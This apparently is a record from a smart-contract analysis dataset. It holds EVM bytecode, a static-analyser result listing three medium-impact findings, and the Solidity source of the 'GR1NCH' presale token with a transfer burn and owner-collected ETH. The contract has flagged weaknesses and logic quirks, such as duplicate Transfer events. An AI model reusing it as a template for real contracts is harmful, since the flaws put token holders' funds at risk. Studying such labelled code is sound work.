091848281518110151561207d57fe5b906020019060200201516305f5e1006129da565b848281518110151561209f57fe5b906020019060200201818152505083818151811015156120bb57fe5b906020019060200201516009600087848151811015156120d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212957600080fd5b6121a060096000878481518110151561213e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561219157fe5b906020019060200201516129a3565b6009600087848151811015156121b257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221b82858381518110151561220c57fe5b906020019060200201516129bc565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561224257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561229157fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611f2f565b612306600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156123ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561250e575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561256a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b45750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156125fe5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561260957600080fd5b61261285612a15565b1561298d5783612621336115ef565b101561262c57600080fd5b61263e612638336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269361268d866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127255780518252602082019150602081019050602083039250612700565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128065780820151818401526020810190506127eb565b50505050905090810190601f1680156128335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561285757fe5b826040518082805190602001908083835b60208310151561288d5780518252602082019150602081019050602083039250612868565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061299b565b612998858585612d49565b90505b949350505050565b60008282111515156129b157fe5b818303905092915050565b60008082840190508381101515156129d057fe5b8091505092915050565b60008060008414156129ef5760009150612a0e565b8284029050828482811515612a0057fe5b04141515612a0a57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612a35336115ef565b1015612a4057600080fd5b612a52612a4c336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa7612aa1866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612baf578082015181840152602081019050612b94565b50505050905090810190601f168015612bdc5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612bfc57600080fd5b6102c65a03f11515612c0d57600080fd5b505050826040518082805190602001908083835b602083101515612c465780518252602082019150602081019050602083039250612c21565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612d55336115ef565b1015612d6057600080fd5b612d72612d6c336115ef565b846129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc7612dc1856115ef565b846129bc565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612e405780518252602082019150602081019050602083039250612e1b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820416d36f983048e7fe5cf6116bb9121b1cd9aa94ed0a61d32944077c8c67f2ff20029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
80
0xfe98e11068bd867dd5f6c0159988080a129b18f3
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address payable _owner; event OwnershipTransferred( address payable indexed previousOwner, address payable indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Not authorised for this operation"); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address payable newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address payable newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract BasicToken is IERC20, Context{ using SafeMath for uint256; uint256 public _totalSupply; mapping(address => uint256) balances_; mapping(address => uint256) ethBalances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 public startTime = block.timestamp; // ------| Deploy Timestamp |-------- uint256 public unlockDuration = 0 minutes; // ----| Lock transfers for non-owner |----------- function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return balances_[account]; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function checkInvestedETH(address who) public view returns (uint256) { return ethBalances[who]; } } contract StandardToken is BasicToken, Ownable { using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(block.timestamp >= startTime.add(unlockDuration) || _msgSender() == owner(), "Tokens not unlocked yet"); balances_[sender] = balances_[sender].sub(amount, "ERC20: transfer amount exceeds balance"); balances_[recipient] = balances_[recipient].add(amount); emit Transfer(sender, recipient, amount); uint256 tokensToBurn = findOnePercent(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); beforeTokenTransfer(sender, recipient, amount); burn(recipient, tokensToBurn); emit Transfer(sender, recipient, tokensToTransfer); } function findOnePercent(uint256 value) public pure returns (uint256) { uint256 basePercent = 7; // % of tokens to be burned from amount of transfer uint256 roundValue = value.ceil(basePercent); uint256 onePercent = roundValue.mul(basePercent).div(100); return onePercent; } function beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); beforeTokenTransfer(account, address(0), amount); balances_[account] = balances_[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract Whitelist is StandardToken { mapping(address => bool) whitelist; event AddedToWhitelist(address indexed account); event AddedToWhitelistBulk(address indexed account); event RemovedFromWhitelist(address indexed account); modifier onlyWhitelisted() { require(isWhitelisted(_msgSender()), "This address is not whitelisted"); _; } // For multiple addresses to be added in the whitelist function addToWhitelistInBulk(address[] memory _address) public onlyOwner { for (uint8 loop = 0; loop < _address.length; loop++) { whitelist[_address[loop]] = true; } } // For single address to be added in whitelist function removeFromWhitelistSingle(address _address) public onlyOwner { whitelist[_address] = false; emit RemovedFromWhitelist(_address); } // For multiple addresses to be removed from the whitelist function removeFromWhitelistInBulk(address[] memory _address) public onlyOwner { for (uint8 loop = 0; loop < _address.length; loop++) { whitelist[_address[loop]] = false; } } // Check whether an address is whitelisted or not function isWhitelisted(address _address) public view returns(bool) { return whitelist[_address]; } } contract Configurable { uint256 public cap = 300000*10**18; //---------| 300k Tokens for Presale |--------- uint256 public basePrice = 5000*10**18; //-----| 1 ETH = 5000 Tokens |--------- uint256 public tokensSold = 0; uint256 public tokenReserve = 500000*10**18; //-----------| 500k Tokens Total Supply |------ uint256 public remainingTokens = 0; } contract CrowdsaleToken is Whitelist, Configurable { using SafeMath for uint256; enum Phases {none, start, end} Phases currentPhase; constructor() { currentPhase = Phases.none; balances_[owner()] = balances_[owner()].add(tokenReserve); _totalSupply = _totalSupply.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner(), tokenReserve); } receive() external payable { // require(isWhitelisted(_msgSender()) == true, "This address is not whitelisted"); require(currentPhase == Phases.start, "The coin offering has not started yet"); require(msg.value <= 2e18 && msg.value >= 3e17, "You can send at least 0.3 ETH but not more than 2 ETH"); require(remainingTokens > 0, "Presale token limit reached"); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; ethBalances[_msgSender()] = ethBalances[_msgSender()].add(weiAmount); ethBalances[address(this)] = ethBalances[address(this)].add(weiAmount); require(ethBalances[_msgSender()] <= 2e18, "Cannot send more than 2 ETH"); require(ethBalances[address(this)] <= 60e18, "Target amount of 60 ETH reached"); if(tokensSold.add(tokens) > cap){ revert("Exceeding limit of presale tokens"); } tokensSold = tokensSold.add(tokens); // counting tokens sold remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ _msgSender().transfer(returnWei); emit Transfer(address(this), _msgSender(), returnWei); } uint256 tokensToBurn = tokens.mul(70).div(1000); // tokens burned with each pre-sale purchase balances_[owner()] = balances_[owner()].sub(tokens, "ERC20: transfer amount exceeds balance"); balances_[owner()] = balances_[owner()].sub(tokensToBurn, "ERC20: transfer amount exceeds balance"); _totalSupply = _totalSupply.sub(tokensToBurn, 'Overflow while burning tokens'); balances_[_msgSender()] = balances_[_msgSender()].add(tokens); emit Transfer(address(this), _msgSender(), tokens); emit Transfer(address(this), address(0x000000000000000000000000000000000000dEaD) , tokensToBurn); _owner.transfer(weiAmount); } function startCoinOffering() public onlyOwner { require(currentPhase != Phases.end, "The coin offering has ended"); currentPhase = Phases.start; } function endCoinOffering() internal { currentPhase = Phases.end; _owner.transfer(address(this).balance); } function finalizeCoinOffering() public onlyOwner { require(currentPhase != Phases.end, "The coin offering has ended"); endCoinOffering(); } } contract GR1NCH is CrowdsaleToken { string public name = "GR1NCHFY"; string public symbol = "GR1NCH"; uint32 public decimals = 18; uint256 public basePercent = 100; }
0x6080604052600436106101e75760003560e01c80638a1fcd6011610102578063c5ac0ded11610095578063dcd9d7b111610064578063dcd9d7b11461141e578063dd62ed3e14611435578063ee39190e146114ba578063f2fde38b1461157f57610b93565b8063c5ac0ded1461134c578063c7876ea414611377578063cbcb3171146113a2578063d89f17ef146113cd57610b93565b8063a457c2d7116100d1578063a457c2d7146111f0578063a6a6860614611261578063a9059cbb146112b0578063bf5839031461132157610b93565b80638a1fcd60146110c75780638da5cb5b146110f25780638f32d59b1461113357806395d89b411461116057610b93565b80633af32abf1161017a578063518ab2a811610149578063518ab2a814610ff557806370a0823114611020578063715018a61461108557806378e979251461109c57610b93565b80633af32abf14610ee75780633c4badb014610f4e5780633eaaf86b14610fb35780634e8ee2e514610fde57610b93565b806323b872dd116101b657806323b872dd14610d89578063313ce56714610e1a578063355274ea14610e4b5780633950935114610e7657610b93565b806306fdde0314610b98578063095ea7b314610c28578063128c127e14610c9957806318160ddd14610d5e57610b93565b36610b9357600160028111156101f957fe5b600d60009054906101000a900460ff16600281111561021457fe5b1461026a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806130416025913960400191505060405180910390fd5b671bc16d674ec80000341115801561028a5750670429d069189e00003410155b6102df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806130d06035913960400191505060405180910390fd5b6000600c5411610357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f50726573616c6520746f6b656e206c696d69742072656163686564000000000081525060200191505060405180910390fd5b6000349050600061038d670de0b6b3a764000061037f600954856115d090919063ffffffff16565b61165690919063ffffffff16565b905060006103ea83600260006103a16116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600260006103f66116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061048683600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550671bc16d674ec80000600260006104de6116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f742073656e64206d6f7265207468616e203220455448000000000081525060200191505060405180910390fd5b680340aad21b3b700000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561064b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f54617267657420616d6f756e74206f662036302045544820726561636865640081525060200191505060405180910390fd5b60085461066383600a546116a890919063ffffffff16565b11156106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130206021913960400191505060405180910390fd5b6106cf82600a546116a890919063ffffffff16565b600a819055506106ec600a5460085461173090919063ffffffff16565b600c8190555060008111156107b6576107036116a0565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610748573d6000803e3d6000fd5b506107516116a0565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b60006107e06103e86107d26046866115d090919063ffffffff16565b61165690919063ffffffff16565b905061085583604051806060016040528060268152602001612ffa602691396001600061080b61177a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b6001600061086161177a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281604051806060016040528060268152602001612ffa60269139600160006108c861177a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b6001600061091e61177a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109a8816040518060400160405280601d81526020017f4f766572666c6f77207768696c65206275726e696e6720746f6b656e730000008152506000546117a49092919063ffffffff16565b600081905550610a0783600160006109be6116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b60016000610a136116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a596116a0565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610b8c573d6000803e3d6000fd5b5050505050005b600080fd5b348015610ba457600080fd5b50610bad611864565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bed578082015181840152602081019050610bd2565b50505050905090810190601f168015610c1a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c3457600080fd5b50610c8160048036036040811015610c4b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611902565b60405180821515815260200191505060405180910390f35b348015610ca557600080fd5b50610d5c60048036036020811015610cbc57600080fd5b8101908080359060200190640100000000811115610cd957600080fd5b820183602082011115610ceb57600080fd5b80359060200191846020830284011164010000000083111715610d0d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611920565b005b348015610d6a57600080fd5b50610d73611a0b565b6040518082815260200191505060405180910390f35b348015610d9557600080fd5b50610e0260048036036060811015610dac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a14565b60405180821515815260200191505060405180910390f35b348015610e2657600080fd5b50610e2f611aed565b604051808263ffffffff16815260200191505060405180910390f35b348015610e5757600080fd5b50610e60611b03565b6040518082815260200191505060405180910390f35b348015610e8257600080fd5b50610ecf60048036036040811015610e9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b09565b60405180821515815260200191505060405180910390f35b348015610ef357600080fd5b50610f3660048036036020811015610f0a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bbc565b60405180821515815260200191505060405180910390f35b348015610f5a57600080fd5b50610f9d60048036036020811015610f7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c12565b6040518082815260200191505060405180910390f35b348015610fbf57600080fd5b50610fc8611c5b565b6040518082815260200191505060405180910390f35b348015610fea57600080fd5b50610ff3611c61565b005b34801561100157600080fd5b5061100a611d7f565b6040518082815260200191505060405180910390f35b34801561102c57600080fd5b5061106f6004803603602081101561104357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d85565b6040518082815260200191505060405180910390f35b34801561109157600080fd5b5061109a611dce565b005b3480156110a857600080fd5b506110b1611eec565b6040518082815260200191505060405180910390f35b3480156110d357600080fd5b506110dc611ef2565b6040518082815260200191505060405180910390f35b3480156110fe57600080fd5b5061110761177a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561113f57600080fd5b50611148611ef8565b60405180821515815260200191505060405180910390f35b34801561116c57600080fd5b50611175611f50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111b557808201518184015260208101905061119a565b50505050905090810190601f1680156111e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156111fc57600080fd5b506112496004803603604081101561121357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fee565b60405180821515815260200191505060405180910390f35b34801561126d57600080fd5b5061129a6004803603602081101561128457600080fd5b81019080803590602001909291905050506120bb565b6040518082815260200191505060405180910390f35b3480156112bc57600080fd5b50611309600480360360408110156112d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061210e565b60405180821515815260200191505060405180910390f35b34801561132d57600080fd5b5061133661212c565b6040518082815260200191505060405180910390f35b34801561135857600080fd5b50611361612132565b6040518082815260200191505060405180910390f35b34801561138357600080fd5b5061138c612138565b6040518082815260200191505060405180910390f35b3480156113ae57600080fd5b506113b761213e565b6040518082815260200191505060405180910390f35b3480156113d957600080fd5b5061141c600480360360208110156113f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612144565b005b34801561142a57600080fd5b5061143361223f565b005b34801561144157600080fd5b506114a46004803603604081101561145857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612341565b6040518082815260200191505060405180910390f35b3480156114c657600080fd5b5061157d600480360360208110156114dd57600080fd5b81019080803590602001906401000000008111156114fa57600080fd5b82018360208201111561150c57600080fd5b8035906020019184602083028401116401000000008311171561152e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123c8565b005b34801561158b57600080fd5b506115ce600480360360208110156115a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b3565b005b6000808314156115e35760009050611650565b60008284029050828482816115f457fe5b041461164b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130666021913960400191505060405180910390fd5b809150505b92915050565b600061169883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061251c565b905092915050565b600033905090565b600080828401905083811015611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061177283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a4565b905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000838311158290611851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051